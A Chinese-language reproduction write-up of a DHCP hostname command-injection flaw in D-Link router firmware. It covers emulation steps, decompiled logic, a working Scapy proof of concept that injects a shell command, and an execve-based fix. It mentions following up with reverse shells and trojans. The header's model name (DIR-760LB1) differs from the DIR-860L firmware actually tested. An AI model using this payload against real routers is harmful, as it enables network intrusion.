一、漏洞信息
影响范围 受影响固件版本:DIR-760LB1 v203b03及更早版本 由于漏洞组件为DHCP Client,攻击链路为:DHCP client → router DHCP server → mydlink event daemon → system() 命令拼接 由于为DHCP通信时触发,一般情况下需要局域网环境 (同一个广播域/LAN内) 故攻击前置条件为:已接入网络
二、复现分析 1.环境模拟 复现环境:
Ubuntu 24.04 LTS虚拟机
FirmAE模拟
使用FirmAE进行固件模拟
先行检测,确实能仿真:
1 sudo ./run.sh -c DIR860L ./firmwares/DIR-860L_REVB_FIRMWARE_2.03.B03.ZIP
启动模拟:
1 sudo ./run.sh -r DIR860L ./firmwares/DIR-860L_REVB_FIRMWARE_2.03.B03.ZIP
2. 漏洞发现 根据漏洞报告得知漏洞位于DHCP守护进程的一个功能,对hostname参数操纵可以导致命令注入
在/usr/sbin/udhcpd程序中,发现DHCP相关的信息:
同时发现程序中存在几个system函数调用
根据字符串,程序通过 Unix Domain Socket 向另一个守护进程发送事件通知 usockc是Unix Socket Client NEW_DEVICE可能是局域网发现新设备上线的事件 对比两个不同情况,可以得出v33应为hostname
hostname得出位置是从v31,也就是get_option(v48, 12)。相当于是从客户端DHCP_REQUEST提取Option12,v44是MAC地址,v36是转换后IP 字符串
1 2 3 4 5 6 7 char cmd[256 ];sprintf (cmd, "usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n" , mac, ip, hostname); system(cmd);
最后system执行的就是system(“usockc /var/mydlinkeventd_usock NEW_DEVICE,MAC地址,IP 地址,hostname 恶意命令\n”) 而且前面也没有对hostname进行输入的过滤
但是想要进入到这个位置需要先通过lease_by_chaddr
必须要有现有租约,然后发送续租的时候,同时带上hostname即可触发漏洞
3. 攻击流程
第一次建立租约:正常申请IP
hostname构造payload进行续租,触发命令注入 RCE
权限维持:反弹shell、植入木马等
漏洞触发时序:
1 2 3 4 5 6 7 8 9 10 11 12 13 Client Router(udhcpd) mydlink daemon | DHCP DISCOVER | |------------------>| | DHCP OFFER | |<------------------| | DHCP REQUEST | |------------------>| | DHCP ACK | |<------------------| | | lease_by_chaddr() | | extract hostname | | system(usockc ...) | |------------------> execute
4. 复现攻击
向路由器用的网卡请求IP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $ sudo dhclient -v tap2_0 Internet Systems Consortium DHCP Client 4.4.3-P1 Copyright 2004-2022 Internet Systems Consortium. All rights reserved. For info, please visit https://www.isc.org/software/dhcp/ Listening on LPF/tap2_0/26:c6:3b:26:c6:03 Sending on LPF/tap2_0/26:c6:3b:26:c6:03 Sending on Socket/fallback xid: warning: no netdev with useable HWADDR found for seed's uniqueness enforcement xid: rand init seed (0x6a65e49e) built using gethostid DHCPDISCOVER on tap2_0 to 255.255.255.255 port 67 interval 3 (xid=0x13887751) DHCPOFFER of 192.168.0.191 from 192.168.0.1 DHCPREQUEST for 192.168.0.191 on tap2_0 to 255.255.255.255 port 67 (xid=0x51778813) DHCPACK of 192.168.0.191 from 192.168.0.1 (xid=0x13887751) Setting LLMNR support level "yes" for "5", but the global support level is "no". bound to 192.168.0.191 -- renewal in 290907 seconds.
获得IP: IP:192.168.0.191 MAC:26:c6:3b:26:c6:03
然后关闭自动续租,防止继续发送正常的续租包干扰
测试ping命令poc,测试任意命令执行成功!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from scapy.all import *iface = "tap2_0" mac_address = "26:c6:3b:26:c6:03" requested_ip = "192.168.0.191" dhcp_server_ip = "192.168.0.1" attacker_server = "192.168.0.2:12345" hostname = f"; ping 192.168.0.2" mac_bytes = bytes .fromhex(mac_address.replace(":" , "" )) dhcp_request = ( Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff" ) / IP(src="0.0.0.0" , dst="255.255.255.255" ) / UDP(sport=68 , dport=67 ) / BOOTP(chaddr=mac_bytes, xid=0xb50e192a ) / DHCP(options=[ ("message-type" , "request" ), ("requested_addr" , requested_ip), ("server_id" , dhcp_server_ip), ("hostname" , hostname), "end" ]) ) print ("[*] Sending malicious DHCP REQUEST..." )sendp(dhcp_request, iface=iface, verbose=False )
接收到路由器执行的ICMP数据包,任意命令执行
成功wget访问服务
三、POC分析 主要逻辑:使用Scapy构造DHCP Request,关键点为hostname的时候可以拼接任意命令执行,后续还可上传MSF马拿到反弹shell。可作为内网入口点进行进一步内网渗透
四、检测与防御 使用execve替代system 修复建议:使用execve替代system,system会自动解析 shell命令,没有参数隔离,可使用execve规避,使得参数不进入shell解析:
1 2 3 4 5 6 7 8 9 10 11 char *argv[] = { "/usr/bin/usockc" , "/var/mydlinkeventd_usock" , "NEW_DEVICE" , mac, ip, hostname, NULL }; execve("/usr/bin/usockc" , argv, NULL );